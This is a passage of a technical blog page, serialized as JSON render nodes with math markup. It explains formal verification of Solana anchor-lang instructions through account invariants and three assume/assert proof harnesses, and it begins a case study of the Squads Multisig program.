",{"type":22,"tag":6961,"props":25473,"children":25474},{},[25475],{"type":27,"value":25476},"automagically",{"type":27,"value":25478}," for anchor-lang programs.",{"type":22,"tag":23,"props":25480,"children":25481},{},[25482,25484,25490,25492,25497,25499,25504,25505,25510,25512,25517,25519,25524,25525,25531,25533,25539,25540,25546],{"type":27,"value":25483},"Specifically, for a given ",{"type":22,"tag":30,"props":25485,"children":25487},{"className":25486},[],[25488],{"type":27,"value":25489},"Context\u003CT>",{"type":27,"value":25491}," with ",{"type":22,"tag":6961,"props":25493,"children":25494},{},[25495],{"type":27,"value":25496},"incoming",{"type":27,"value":25498}," accounts of types (",{"type":22,"tag":30,"props":25500,"children":25502},{"className":25501},[],[25503],{"type":27,"value":24728},{"type":27,"value":8625},{"type":22,"tag":30,"props":25506,"children":25508},{"className":25507},[],[25509],{"type":27,"value":7760},{"type":27,"value":25511},") and ",{"type":22,"tag":6961,"props":25513,"children":25514},{},[25515],{"type":27,"value":25516},"outgoing",{"type":27,"value":25518}," accounts of type (",{"type":22,"tag":30,"props":25520,"children":25522},{"className":25521},[],[25523],{"type":27,"value":7760},{"type":27,"value":8625},{"type":22,"tag":30,"props":25526,"children":25528},{"className":25527},[],[25529],{"type":27,"value":25530},"close",{"type":27,"value":25532},") we define a ",{"type":22,"tag":30,"props":25534,"children":25536},{"className":25535},[],[25537],{"type":27,"value":25538},"pre_condition",{"type":27,"value":209},{"type":22,"tag":30,"props":25541,"children":25543},{"className":25542},[],[25544],{"type":27,"value":25545},"post_condition",{"type":27,"value":25547}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":22,"tag":23,"props":25549,"children":25550},{},[25551],{"type":22,"tag":30,"props":25552,"children":25554},{"className":25553},[8026,8027],[25555],{"type":22,"tag":101,"props":25556,"children":25558},{"className":25557},[8032],[25559],{"type":22,"tag":101,"props":25560,"children":25562},{"className":25561,"ariaHidden":5608},[8037],[25563,25599],{"type":22,"tag":101,"props":25564,"children":25566},{"className":25565},[8042],[25567,25572,25580,25585,25589,25595],{"type":22,"tag":101,"props":25568,"children":25571},{"className":25569,"style":25570},[8047],"height:0.6833em;",[],{"type":22,"tag":101,"props":25573,"children":25577},{"className":25574,"style":25576},[8053,25575],"mathnormal","margin-right:0.13889em;",[25578],{"type":27,"value":25579},"P",{"type":22,"tag":101,"props":25581,"children":25583},{"className":25582},[8053],[25584],{"type":27,"value":8065},{"type":22,"tag":101,"props":25586,"children":25588},{"className":25587,"style":8231},[8133],[],{"type":22,"tag":101,"props":25590,"children":25592},{"className":25591},[8236],[25593],{"type":27,"value":25594},":=",{"type":22,"tag":101,"props":25596,"children":25598},{"className":25597,"style":8231},[8133],[],{"type":22,"tag":101,"props":25600,"children":25602},{"className":25601},[8042],[25603,25608,25748,25752],{"type":22,"tag":101,"props":25604,"children":25607},{"className":25605,"style":25606},[8047],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":22,"tag":101,"props":25609,"children":25612},{"className":25610},[25611],"mop",[25613,25622],{"type":22,"tag":101,"props":25614,"children":25619},{"className":25615,"style":25618},[25611,25616,25617],"op-symbol","small-op","position:relative;top:0em;",[25620],{"type":27,"value":25621},"⋀",{"type":22,"tag":101,"props":25623,"children":25625},{"className":25624},[8069],[25626],{"type":22,"tag":101,"props":25627,"children":25630},{"className":25628},[8074,25629],"vlist-t2",[25631,25736],{"type":22,"tag":101,"props":25632,"children":25634},{"className":25633},[8079],[25635,25729],{"type":22,"tag":101,"props":25636,"children":25639},{"className":25637,"style":25638},[8084],"height:0.2253em;",[25640],{"type":22,"tag":101,"props":25641,"children":25643},{"style":25642},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[25644,25648],{"type":22,"tag":101,"props":25645,"children":25647},{"className":25646,"style":8094},[8093],[],{"type":22,"tag":101,"props":25649,"children":25651},{"className":25650},[8099,8100,8101,8102],[25652],{"type":22,"tag":101,"props":25653,"children":25655},{"className":25654},[8053,8102],[25656,25661,25667,25677,25683,25692,25701,25707,25712,25718,25723],{"type":22,"tag":101,"props":25657,"children":25659},{"className":25658},[8053,25575,8102],[25660],{"type":27,"value":80},{"type":22,"tag":101,"props":25662,"children":25664},{"className":25663},[8053,25575,8102],[25665],{"type":27,"value":25666},"cc",{"type":22,"tag":101,"props":25668,"children":25670},{"className":25669},[8133,8102],[25671],{"type":22,"tag":101,"props":25672,"children":25674},{"className":25673},[8102],[25675],{"type":27,"value":25676}," ",{"type":22,"tag":101,"props":25678,"children":25680},{"className":25679},[8236,8102],[25681],{"type":27,"value":25682},"∈",{"type":22,"tag":101,"props":25684,"children":25686},{"className":25685},[8133,8102],[25687],{"type":22,"tag":101,"props":25688,"children":25690},{"className":25689},[8102],[25691],{"type":27,"value":25676},{"type":22,"tag":101,"props":25693,"children":25695},{"className":25694},[8053,27,8102],[25696],{"type":22,"tag":101,"props":25697,"children":25699},{"className":25698},[8053,8102],[25700],{"type":27,"value":25496},{"type":22,"tag":101,"props":25702,"children":25705},{"className":25703},[25704,8102],"mopen",[25706],{"type":27,"value":980},{"type":22,"tag":101,"props":25708,"children":25710},{"className":25709},[8053,25575,8102],[25711],{"type":27,"value":7187},{"type":22,"tag":101,"props":25713,"children":25715},{"className":25714},[8053,25575,8102],[25716],{"type":27,"value":25717},"t",{"type":22,"tag":101,"props":25719,"children":25721},{"className":25720},[8053,25575,8102],[25722],{"type":27,"value":23266},{"type":22,"tag":101,"props":25724,"children":25727},{"className":25725},[25726,8102],"mclose",[25728],{"type":27,"value":2261},{"type":22,"tag":101,"props":25730,"children":25733},{"className":25731},[25732],"vlist-s",[25734],{"type":27,"value":25735},"​",{"type":22,"tag":101,"props":25737,"children":25739},{"className":25738},[8079],[25740],{"type":22,"tag":101,"props":25741,"children":25744},{"className":25742,"style":25743},[8084],"height:0.4747em;",[25745],{"type":22,"tag":101,"props":25746,"children":25747},{},[],{"type":22,"tag":101,"props":25749,"children":25751},{"className":25750,"style":8172},[8133],[],{"type":22,"tag":101,"props":25753,"children":25755},{"className":25754},[8053],[25756,25766,25771,25776,25781],{"type":22,"tag":101,"props":25757,"children":25759},{"className":25758},[8053,27],[25760],{"type":22,"tag":101,"props":25761,"children":25763},{"className":25762},[8053],[25764],{"type":27,"value":25765},"invariant",{"type":22,"tag":101,"props":25767,"children":25769},{"className":25768},[25704],[25770],{"type":27,"value":980},{"type":22,"tag":101,"props":25772,"children":25774},{"className":25773},[8053,25575],[25775],{"type":27,"value":80},{"type":22,"tag":101,"props":25777,"children":25779},{"className":25778},[8053,25575],[25780],{"type":27,"value":25666},{"type":22,"tag":101,"props":25782,"children":25784},{"className":25783},[25726],[25785],{"type":27,"value":2261},{"type":22,"tag":23,"props":25787,"children":25788},{},[25789],{"type":22,"tag":30,"props":25790,"children":25792},{"className":25791},[8026,8027],[25793],{"type":22,"tag":101,"props":25794,"children":25796},{"className":25795},[8032],[25797],{"type":22,"tag":101,"props":25798,"children":25800},{"className":25799,"ariaHidden":5608},[8037],[25801,25832],{"type":22,"tag":101,"props":25802,"children":25804},{"className":25803},[8042],[25805,25809,25814,25819,25823,25828],{"type":22,"tag":101,"props":25806,"children":25808},{"className":25807,"style":25570},[8047],[],{"type":22,"tag":101,"props":25810,"children":25812},{"className":25811,"style":25576},[8053,25575],[25813],{"type":27,"value":25579},{"type":22,"tag":101,"props":25815,"children":25817},{"className":25816},[8053],[25818],{"type":27,"value":6813},{"type":22,"tag":101,"props":25820,"children":25822},{"className":25821,"style":8231},[8133],[],{"type":22,"tag":101,"props":25824,"children":25826},{"className":25825},[8236],[25827],{"type":27,"value":25594},{"type":22,"tag":101,"props":25829,"children":25831},{"className":25830,"style":8231},[8133],[],{"type":22,"tag":101,"props":25833,"children":25835},{"className":25834},[8042],[25836,25840,25963,25967],{"type":22,"tag":101,"props":25837,"children":25839},{"className":25838,"style":25606},[8047],[],{"type":22,"tag":101,"props":25841,"children":25843},{"className":25842},[25611],[25844,25849],{"type":22,"tag":101,"props":25845,"children":25847},{"className":25846,"style":25618},[25611,25616,25617],[25848],{"type":27,"value":25621},{"type":22,"tag":101,"props":25850,"children":25852},{"className":25851},[8069],[25853],{"type":22,"tag":101,"props":25854,"children":25856},{"className":25855},[8074,25629],[25857,25952],{"type":22,"tag":101,"props":25858,"children":25860},{"className":25859},[8079],[25861,25947],{"type":22,"tag":101,"props":25862,"children":25864},{"className":25863,"style":25638},[8084],[25865],{"type":22,"tag":101,"props":25866,"children":25867},{"style":25642},[25868,25872],{"type":22,"tag":101,"props":25869,"children":25871},{"className":25870,"style":8094},[8093],[],{"type":22,"tag":101,"props":25873,"children":25875},{"className":25874},[8099,8100,8101,8102],[25876],{"type":22,"tag":101,"props":25877,"children":25879},{"className":25878},[8053,8102],[25880,25885,25890,25899,25904,25913,25922,25927,25932,25937,25942],{"type":22,"tag":101,"props":25881,"children":25883},{"className":25882},[8053,25575,8102],[25884],{"type":27,"value":80},{"type":22,"tag":101,"props":25886,"children":25888},{"className":25887},[8053,25575,8102],[25889],{"type":27,"value":25666},{"type":22,"tag":101,"props":25891,"children":25893},{"className":25892},[8133,8102],[25894],{"type":22,"tag":101,"props":25895,"children":25897},{"className":25896},[8102],[25898],{"type":27,"value":25676},{"type":22,"tag":101,"props":25900,"children":25902},{"className":25901},[8236,8102],[25903],{"type":27,"value":25682},{"type":22,"tag":101,"props":25905,"children":25907},{"className":25906},[8133,8102],[25908],{"type":22,"tag":101,"props":25909,"children":25911},{"className":25910},[8102],[25912],{"type":27,"value":25676},{"type":22,"tag":101,"props":25914,"children":25916},{"className":25915},[8053,27,8102],[25917],{"type":22,"tag":101,"props":25918,"children":25920},{"className":25919},[8053,8102],[25921],{"type":27,"value":25516},{"type":22,"tag":101,"props":25923,"children":25925},{"className":25924},[25704,8102],[25926],{"type":27,"value":980},{"type":22,"tag":101,"props":25928,"children":25930},{"className":25929},[8053,25575,8102],[25931],{"type":27,"value":7187},{"type":22,"tag":101,"props":25933,"children":25935},{"className":25934},[8053,25575,8102],[25936],{"type":27,"value":25717},{"type":22,"tag":101,"props":25938,"children":25940},{"className":25939},[8053,25575,8102],[25941],{"type":27,"value":23266},{"type":22,"tag":101,"props":25943,"children":25945},{"className":25944},[25726,8102],[25946],{"type":27,"value":2261},{"type":22,"tag":101,"props":25948,"children":25950},{"className":25949},[25732],[25951],{"type":27,"value":25735},{"type":22,"tag":101,"props":25953,"children":25955},{"className":25954},[8079],[25956],{"type":22,"tag":101,"props":25957,"children":25959},{"className":25958,"style":25743},[8084],[25960],{"type":22,"tag":101,"props":25961,"children":25962},{},[],{"type":22,"tag":101,"props":25964,"children":25966},{"className":25965,"style":8172},[8133],[],{"type":22,"tag":101,"props":25968,"children":25970},{"className":25969},[8053],[25971,25980,25985,25990,25995],{"type":22,"tag":101,"props":25972,"children":25974},{"className":25973},[8053,27],[25975],{"type":22,"tag":101,"props":25976,"children":25978},{"className":25977},[8053],[25979],{"type":27,"value":25765},{"type":22,"tag":101,"props":25981,"children":25983},{"className":25982},[25704],[25984],{"type":27,"value":980},{"type":22,"tag":101,"props":25986,"children":25988},{"className":25987},[8053,25575],[25989],{"type":27,"value":80},{"type":22,"tag":101,"props":25991,"children":25993},{"className":25992},[8053,25575],[25994],{"type":27,"value":25666},{"type":22,"tag":101,"props":25996,"children":25998},{"className":25997},[25726],[25999],{"type":27,"value":2261},{"type":22,"tag":23,"props":26001,"children":26002},{},[26003],{"type":27,"value":26004},"Our instruction invariants are represented as:",{"type":22,"tag":6839,"props":26006,"children":26007},{},[26008,26044],{"type":22,"tag":6832,"props":26009,"children":26010},{},[26011,26038,26039],{"type":22,"tag":30,"props":26012,"children":26014},{"className":26013},[8026,8027],[26015],{"type":22,"tag":101,"props":26016,"children":26018},{"className":26017},[8032],[26019],{"type":22,"tag":101,"props":26020,"children":26022},{"className":26021,"ariaHidden":5608},[8037],[26023],{"type":22,"tag":101,"props":26024,"children":26026},{"className":26025},[8042],[26027,26031],{"type":22,"tag":101,"props":26028,"children":26030},{"className":26029,"style":25570},[8047],[],{"type":22,"tag":101,"props":26032,"children":26035},{"className":26033,"style":26034},[8053,25575],"margin-right:0.05764em;",[26036],{"type":27,"value":26037},"S",{"type":27,"value":19332},{"type":22,"tag":30,"props":26040,"children":26042},{"className":26041},[],[26043],{"type":27,"value":24146},{"type":22,"tag":6832,"props":26045,"children":26046},{},[26047,26073,26074],{"type":22,"tag":30,"props":26048,"children":26050},{"className":26049},[8026,8027],[26051],{"type":22,"tag":101,"props":26052,"children":26054},{"className":26053},[8032],[26055],{"type":22,"tag":101,"props":26056,"children":26058},{"className":26057,"ariaHidden":5608},[8037],[26059],{"type":22,"tag":101,"props":26060,"children":26062},{"className":26061},[8042],[26063,26067],{"type":22,"tag":101,"props":26064,"children":26066},{"className":26065,"style":25570},[8047],[],{"type":22,"tag":101,"props":26068,"children":26070},{"className":26069,"style":26034},[8053,25575],[26071],{"type":27,"value":26072},"E",{"type":27,"value":19332},{"type":22,"tag":30,"props":26075,"children":26077},{"className":26076},[],[26078],{"type":27,"value":24153},{"type":22,"tag":23,"props":26080,"children":26081},{},[26082,26084,26111,26113,26118,26120,26126],{"type":27,"value":26083},"And ",{"type":22,"tag":30,"props":26085,"children":26087},{"className":26086},[8026,8027],[26088],{"type":22,"tag":101,"props":26089,"children":26091},{"className":26090},[8032],[26092],{"type":22,"tag":101,"props":26093,"children":26095},{"className":26094,"ariaHidden":5608},[8037],[26096],{"type":22,"tag":101,"props":26097,"children":26099},{"className":26098},[8042],[26100,26104],{"type":22,"tag":101,"props":26101,"children":26103},{"className":26102,"style":25570},[8047],[],{"type":22,"tag":101,"props":26105,"children":26108},{"className":26106,"style":26107},[8053,25575],"margin-right:0.07153em;",[26109],{"type":27,"value":26110},"K",{"type":27,"value":26112}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":22,"tag":30,"props":26114,"children":26116},{"className":26115},[],[26117],{"type":27,"value":24478},{"type":27,"value":26119}," not an ",{"type":22,"tag":30,"props":26121,"children":26123},{"className":26122},[],[26124],{"type":27,"value":26125},"Err",{"type":27,"value":24730},{"type":22,"tag":23,"props":26128,"children":26129},{},[26130],{"type":27,"value":26131},"In order to verify these conditions we need to verify three cases:",{"type":22,"tag":1760,"props":26133,"children":26135},{"id":26134},"account-invariants-1",[26136],{"type":27,"value":26137},"Account invariants",{"type":22,"tag":23,"props":26139,"children":26140},{},[26141,26143,26174,26176,26206,26208,26238],{"type":27,"value":26142},"After we execute an instruction, either the function should error and be reverted (",{"type":22,"tag":30,"props":26144,"children":26146},{"className":26145},[8026,8027],[26147],{"type":22,"tag":101,"props":26148,"children":26150},{"className":26149},[8032],[26151],{"type":22,"tag":101,"props":26152,"children":26154},{"className":26153,"ariaHidden":5608},[8037],[26155],{"type":22,"tag":101,"props":26156,"children":26158},{"className":26157},[8042],[26159,26163,26169],{"type":22,"tag":101,"props":26160,"children":26162},{"className":26161,"style":25570},[8047],[],{"type":22,"tag":101,"props":26164,"children":26166},{"className":26165},[8053],[26167],{"type":27,"value":26168},"¬",{"type":22,"tag":101,"props":26170,"children":26172},{"className":26171,"style":26107},[8053,25575],[26173],{"type":27,"value":26110},{"type":27,"value":26175},") or the account post-invariants should hold (",{"type":22,"tag":30,"props":26177,"children":26179},{"className":26178},[8026,8027],[26180],{"type":22,"tag":101,"props":26181,"children":26183},{"className":26182},[8032],[26184],{"type":22,"tag":101,"props":26185,"children":26187},{"className":26186,"ariaHidden":5608},[8037],[26188],{"type":22,"tag":101,"props":26189,"children":26191},{"className":26190},[8042],[26192,26196,26201],{"type":22,"tag":101,"props":26193,"children":26195},{"className":26194,"style":25570},[8047],[],{"type":22,"tag":101,"props":26197,"children":26199},{"className":26198,"style":25576},[8053,25575],[26200],{"type":27,"value":25579},{"type":22,"tag":101,"props":26202,"children":26204},{"className":26203},[8053],[26205],{"type":27,"value":6813},{"type":27,"value":26207},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":22,"tag":30,"props":26209,"children":26211},{"className":26210},[8026,8027],[26212],{"type":22,"tag":101,"props":26213,"children":26215},{"className":26214},[8032],[26216],{"type":22,"tag":101,"props":26217,"children":26219},{"className":26218,"ariaHidden":5608},[8037],[26220],{"type":22,"tag":101,"props":26221,"children":26223},{"className":26222},[8042],[26224,26228,26233],{"type":22,"tag":101,"props":26225,"children":26227},{"className":26226,"style":25570},[8047],[],{"type":22,"tag":101,"props":26229,"children":26231},{"className":26230,"style":25576},[8053,25575],[26232],{"type":27,"value":25579},{"type":22,"tag":101,"props":26234,"children":26236},{"className":26235},[8053],[26237],{"type":27,"value":8065},{"type":27,"value":26239},") should hold since we will verify all of the functions eventually.",{"type":22,"tag":23,"props":26241,"children":26242},{},[26243,26245],{"type":27,"value":26244},"So we are trying to prove that ",{"type":22,"tag":30,"props":26246,"children":26248},{"className":26247},[8026,8027],[26249],{"type":22,"tag":101,"props":26250,"children":26252},{"className":26251},[8032],[26253],{"type":22,"tag":101,"props":26254,"children":26256},{"className":26255,"ariaHidden":5608},[8037],[26257,26294,26326],{"type":22,"tag":101,"props":26258,"children":26260},{"className":26259},[8042],[26261,26265,26270,26275,26280,26284,26290],{"type":22,"tag":101,"props":26262,"children":26264},{"className":26263,"style":8154},[8047],[],{"type":22,"tag":101,"props":26266,"children":26268},{"className":26267},[25704],[26269],{"type":27,"value":980},{"type":22,"tag":101,"props":26271,"children":26273},{"className":26272,"style":25576},[8053,25575],[26274],{"type":27,"value":25579},{"type":22,"tag":101,"props":26276,"children":26278},{"className":26277},[8053],[26279],{"type":27,"value":8065},{"type":22,"tag":101,"props":26281,"children":26283},{"className":26282,"style":8134},[8133],[],{"type":22,"tag":101,"props":26285,"children":26287},{"className":26286},[8139],[26288],{"type":27,"value":26289},"∧",{"type":22,"tag":101,"props":26291,"children":26293},{"className":26292,"style":8134},[8133],[],{"type":22,"tag":101,"props":26295,"children":26297},{"className":26296},[8042],[26298,26302,26307,26312,26316,26322],{"type":22,"tag":101,"props":26299,"children":26301},{"className":26300,"style":8154},[8047],[],{"type":22,"tag":101,"props":26303,"children":26305},{"className":26304,"style":26107},[8053,25575],[26306],{"type":27,"value":26110},{"type":22,"tag":101,"props":26308,"children":26310},{"className":26309},[25726],[26311],{"type":27,"value":2261},{"type":22,"tag":101,"props":26313,"children":26315},{"className":26314,"style":8231},[8133],[],{"type":22,"tag":101,"props":26317,"children":26319},{"className":26318},[8236],[26320],{"type":27,"value":26321},"→",{"type":22,"tag":101,"props":26323,"children":26325},{"className":26324,"style":8231},[8133],[],{"type":22,"tag":101,"props":26327,"children":26329},{"className":26328},[8042],[26330,26334,26339],{"type":22,"tag":101,"props":26331,"children":26333},{"className":26332,"style":25570},[8047],[],{"type":22,"tag":101,"props":26335,"children":26337},{"className":26336,"style":25576},[8053,25575],[26338],{"type":27,"value":25579},{"type":22,"tag":101,"props":26340,"children":26342},{"className":26341},[8053],[26343],{"type":27,"value":6813},{"type":22,"tag":23,"props":26345,"children":26346},{},[26347],{"type":27,"value":26348},"We can construct a proof harness like the following:",{"type":22,"tag":91,"props":26350,"children":26352},{"code":26351,"language":23451,"meta":7,"className":23452,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[26353],{"type":22,"tag":30,"props":26354,"children":26355},{"__ignoreMap":7},[26356,26364,26381],{"type":22,"tag":101,"props":26357,"children":26358},{"class":103,"line":104},[26359],{"type":22,"tag":101,"props":26360,"children":26361},{"style":120},[26362],{"type":27,"value":26363},"assume(P0)\n",{"type":22,"tag":101,"props":26365,"children":26366},{"class":103,"line":157},[26367,26372,26376],{"type":22,"tag":101,"props":26368,"children":26369},{"style":120},[26370],{"type":27,"value":26371},"res ",{"type":22,"tag":101,"props":26373,"children":26374},{"style":166},[26375],{"type":27,"value":1511},{"type":22,"tag":101,"props":26377,"children":26378},{"style":120},[26379],{"type":27,"value":26380}," instruction_handler(...)\n",{"type":22,"tag":101,"props":26382,"children":26383},{"class":103,"line":182},[26384,26388,26392,26397,26402,26407],{"type":22,"tag":101,"props":26385,"children":26386},{"style":3595},[26387],{"type":27,"value":23975},{"type":22,"tag":101,"props":26389,"children":26390},{"style":120},[26391],{"type":27,"value":980},{"type":22,"tag":101,"props":26393,"children":26395},{"style":26394},"--shiki-default:#F44747",[26396],{"type":27,"value":2109},{"type":22,"tag":101,"props":26398,"children":26399},{"style":120},[26400],{"type":27,"value":26401},"K ",{"type":22,"tag":101,"props":26403,"children":26404},{"style":26394},[26405],{"type":27,"value":26406},"||",{"type":22,"tag":101,"props":26408,"children":26409},{"style":120},[26410],{"type":27,"value":26411}," P1)\n",{"type":22,"tag":23,"props":26413,"children":26414},{},[26415],{"type":27,"value":26416},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":22,"tag":1760,"props":26418,"children":26420},{"id":26419},"positive-instruction-invariant",[26421],{"type":27,"value":26422},"Positive instruction invariant",{"type":22,"tag":23,"props":26424,"children":26425},{},[26426,26428,26434,26436,26487],{"type":27,"value":26427},"Next we need to prove that ",{"type":22,"tag":30,"props":26429,"children":26431},{"className":26430},[],[26432],{"type":27,"value":26433},"success_if",{"type":27,"value":26435}," is a sufficient condition for instruction success. I.e. ",{"type":22,"tag":30,"props":26437,"children":26439},{"className":26438},[8026,8027],[26440],{"type":22,"tag":101,"props":26441,"children":26443},{"className":26442},[8032],[26444],{"type":22,"tag":101,"props":26445,"children":26447},{"className":26446,"ariaHidden":5608},[8037],[26448,26474],{"type":22,"tag":101,"props":26449,"children":26451},{"className":26450},[8042],[26452,26456,26461,26465,26470],{"type":22,"tag":101,"props":26453,"children":26455},{"className":26454,"style":25570},[8047],[],{"type":22,"tag":101,"props":26457,"children":26459},{"className":26458,"style":26034},[8053,25575],[26460],{"type":27,"value":26037},{"type":22,"tag":101,"props":26462,"children":26464},{"className":26463,"style":8231},[8133],[],{"type":22,"tag":101,"props":26466,"children":26468},{"className":26467},[8236],[26469],{"type":27,"value":26321},{"type":22,"tag":101,"props":26471,"children":26473},{"className":26472,"style":8231},[8133],[],{"type":22,"tag":101,"props":26475,"children":26477},{"className":26476},[8042],[26478,26482],{"type":22,"tag":101,"props":26479,"children":26481},{"className":26480,"style":25570},[8047],[],{"type":22,"tag":101,"props":26483,"children":26485},{"className":26484,"style":26107},[8053,25575],[26486],{"type":27,"value":26110},{"type":27,"value":231},{"type":22,"tag":23,"props":26489,"children":26490},{},[26491],{"type":27,"value":26492},"Just like before we can construct a proof harness:",{"type":22,"tag":91,"props":26494,"children":26496},{"code":26495,"language":23451,"meta":7,"className":23452,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[26497],{"type":22,"tag":30,"props":26498,"children":26499},{"__ignoreMap":7},[26500,26508,26523],{"type":22,"tag":101,"props":26501,"children":26502},{"class":103,"line":104},[26503],{"type":22,"tag":101,"props":26504,"children":26505},{"style":120},[26506],{"type":27,"value":26507},"assume(S)\n",{"type":22,"tag":101,"props":26509,"children":26510},{"class":103,"line":157},[26511,26515,26519],{"type":22,"tag":101,"props":26512,"children":26513},{"style":120},[26514],{"type":27,"value":26371},{"type":22,"tag":101,"props":26516,"children":26517},{"style":166},[26518],{"type":27,"value":1511},{"type":22,"tag":101,"props":26520,"children":26521},{"style":120},[26522],{"type":27,"value":26380},{"type":22,"tag":101,"props":26524,"children":26525},{"class":103,"line":182},[26526,26530],{"type":22,"tag":101,"props":26527,"children":26528},{"style":3595},[26529],{"type":27,"value":23975},{"type":22,"tag":101,"props":26531,"children":26532},{"style":120},[26533],{"type":27,"value":26534},"(K)\n",{"type":22,"tag":23,"props":26536,"children":26537},{},[26538,26540,26545,26547,26559],{"type":27,"value":26539},"This proof assures that whenever ",{"type":22,"tag":30,"props":26541,"children":26543},{"className":26542},[],[26544],{"type":27,"value":24146},{"type":27,"value":26546}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":22,"tag":6961,"props":26548,"children":26549},{},[26550,26552,26557],{"type":27,"value":26551},"even if ",{"type":22,"tag":30,"props":26553,"children":26555},{"className":26554},[],[26556],{"type":27,"value":24146},{"type":27,"value":26558}," is not satisfied",{"type":27,"value":26560},". To specify explicit error conditions we need our third and final proof.",{"type":22,"tag":1760,"props":26562,"children":26564},{"id":26563},"_3-negative-instruction-invariant",[26565],{"type":27,"value":26566},"3. Negative instruction invariant",{"type":22,"tag":23,"props":26568,"children":26569},{},[26570,26572,26577,26579,26635],{"type":27,"value":26571},"Finally, we want to prove that ",{"type":22,"tag":30,"props":26573,"children":26575},{"className":26574},[],[26576],{"type":27,"value":24153},{"type":27,"value":26578}," is a sufficient condition for instruction failure. I.e. ",{"type":22,"tag":30,"props":26580,"children":26582},{"className":26581},[8026,8027],[26583],{"type":22,"tag":101,"props":26584,"children":26586},{"className":26585},[8032],[26587],{"type":22,"tag":101,"props":26588,"children":26590},{"className":26589,"ariaHidden":5608},[8037],[26591,26617],{"type":22,"tag":101,"props":26592,"children":26594},{"className":26593},[8042],[26595,26599,26604,26608,26613],{"type":22,"tag":101,"props":26596,"children":26598},{"className":26597,"style":25570},[8047],[],{"type":22,"tag":101,"props":26600,"children":26602},{"className":26601,"style":26034},[8053,25575],[26603],{"type":27,"value":26072},{"type":22,"tag":101,"props":26605,"children":26607},{"className":26606,"style":8231},[8133],[],{"type":22,"tag":101,"props":26609,"children":26611},{"className":26610},[8236],[26612],{"type":27,"value":26321},{"type":22,"tag":101,"props":26614,"children":26616},{"className":26615,"style":8231},[8133],[],{"type":22,"tag":101,"props":26618,"children":26620},{"className":26619},[8042],[26621,26625,26630],{"type":22,"tag":101,"props":26622,"children":26624},{"className":26623,"style":25570},[8047],[],{"type":22,"tag":101,"props":26626,"children":26628},{"className":26627},[8053],[26629],{"type":27,"value":26168},{"type":22,"tag":101,"props":26631,"children":26633},{"className":26632,"style":26107},[8053,25575],[26634],{"type":27,"value":26110},{"type":27,"value":231},{"type":22,"tag":23,"props":26637,"children":26638},{},[26639],{"type":27,"value":26640},"This harness looks just like the previous one:",{"type":22,"tag":91,"props":26642,"children":26644},{"code":26643,"language":23451,"meta":7,"className":23452,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[26645],{"type":22,"tag":30,"props":26646,"children":26647},{"__ignoreMap":7},[26648,26656,26671],{"type":22,"tag":101,"props":26649,"children":26650},{"class":103,"line":104},[26651],{"type":22,"tag":101,"props":26652,"children":26653},{"style":120},[26654],{"type":27,"value":26655},"assume(E)\n",{"type":22,"tag":101,"props":26657,"children":26658},{"class":103,"line":157},[26659,26663,26667],{"type":22,"tag":101,"props":26660,"children":26661},{"style":120},[26662],{"type":27,"value":26371},{"type":22,"tag":101,"props":26664,"children":26665},{"style":166},[26666],{"type":27,"value":1511},{"type":22,"tag":101,"props":26668,"children":26669},{"style":120},[26670],{"type":27,"value":26380},{"type":22,"tag":101,"props":26672,"children":26673},{"class":103,"line":182},[26674,26678,26682,26686],{"type":22,"tag":101,"props":26675,"children":26676},{"style":3595},[26677],{"type":27,"value":23975},{"type":22,"tag":101,"props":26679,"children":26680},{"style":120},[26681],{"type":27,"value":980},{"type":22,"tag":101,"props":26683,"children":26684},{"style":26394},[26685],{"type":27,"value":2109},{"type":22,"tag":101,"props":26687,"children":26688},{"style":120},[26689],{"type":27,"value":26690},"K)\n",{"type":22,"tag":23,"props":26692,"children":26693},{},[26694,26696,26700],{"type":27,"value":26695},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":22,"tag":6961,"props":26697,"children":26698},{},[26699],{"type":27,"value":20370},{"type":27,"value":26701}," the account invariants we expect are always being preserved.",{"type":22,"tag":53,"props":26703,"children":26705},{"id":26704},"case-study-squads-multisig",[26706],{"type":27,"value":26707},"Case study: Squads Multisig",{"type":22,"tag":23,"props":26709,"children":26710},{},[26711,26713,26718],{"type":27,"value":26712},"During our research, we focused on formally verifying aspects of the ",{"type":22,"tag":80,"props":26714,"children":26716},{"href":22814,"rel":26715},[84],[26717],{"type":27,"value":22818},{"type":27,"value":231},{"type":22,"tag":23,"props":26720,"children":26721},{},[26722,26724,26730,26732,26738],{"type":27,"value":26723},"The program defines a Multisig account (",{"type":22,"tag":30,"props":26725,"children":26727},{"className":26726},[],[26728],{"type":27,"value":26729},"Ms",{"type":27,"value":26731},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":22,"tag":30,"props":26733,"children":26735},{"className":26734},[],[26736],{"type":27,"value":26737},"threshold",{"type":27,"value":26739}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":22,"tag":23,"props":26741,"children":26742},{},[26743],{"type":27,"value":26744},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":22,"tag":23,"props":26746,"children":26747},{},[26748],{"type":27,"value":26749},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":22,"tag":6828,"props":26751,"children":26752},{},[26753,26758,26763,26768],{"type":22,"tag":6832,"props":26754,"children":26755},{},[26756],{"type":27,"value":26757},"Incrementally verifying minimum requirements to create a multisig",{"type":22,"tag":6832,"props":26759,"children":26760},{},[26761],{"type":27,"value":26762},"Verify threshold requirements",{"type":22,"tag":6832,"props":26764,"children":26765},{},[26766],{"type":27,"value":26767},"Verify requirements to remove a member",{"type":22,"tag":6832,"props":26769,"children":26770},{},[26771],{"type":27,"value":26772},"Safety 